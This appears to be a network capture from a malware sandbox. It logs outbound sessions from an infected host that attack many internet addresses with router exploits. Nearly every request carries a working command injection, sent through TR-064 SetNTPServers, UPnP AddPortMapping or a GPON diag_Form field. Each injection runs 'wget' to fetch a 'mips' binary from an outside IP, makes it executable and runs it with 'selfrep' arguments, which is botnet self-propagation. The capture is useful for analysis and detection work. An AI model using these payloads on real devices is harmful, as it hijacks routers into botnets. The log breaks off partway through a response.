63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	48278	37.140.76.86	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:22.514766932 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:22.887233973 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:52:23 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	33942	71.94.50.118	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:22.690845013 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	33954	71.94.50.118	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:22.861471891 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	40608	81.199.207.140	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:22.917959929 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:25.952495098 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	45224	181.164.242.11	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:22.979414940 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	46740	175.249.156.218	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:22.984375954 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:23.292340994 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:52:22 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	34078	177.95.223.240	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.023703098 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:24.740494013 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:26.752460957 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:30.816473007 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:39.008518934 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:55.136442900 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:27.904418945 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	54054	93.81.145.250	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.052630901 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:23.424490929 CEST	125	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 09:52:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	46826	102.140.86.120	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.132745028 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:23.293013096 CEST	594	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:52:18 GMT Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.2.18 mod_fcgid/2.3.10-dev Content-Length: 354 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 39 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 62 20 50 48 50 2f 37 2e 32 2e 31 38 20 6d 6f 64 5f 66 63 67 69 64 2f 32 2e 33 2e 31 30 2d 64 65 76 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 32 30 30 38 74 65 61 6d 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.2.18 mod_fcgid/2.3.10-dev Server at www.2008team.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	42896	47.36.49.89	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.202826977 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:23.439300060 CEST	500	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Mon, 15 Apr 2024 06:52:24 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> 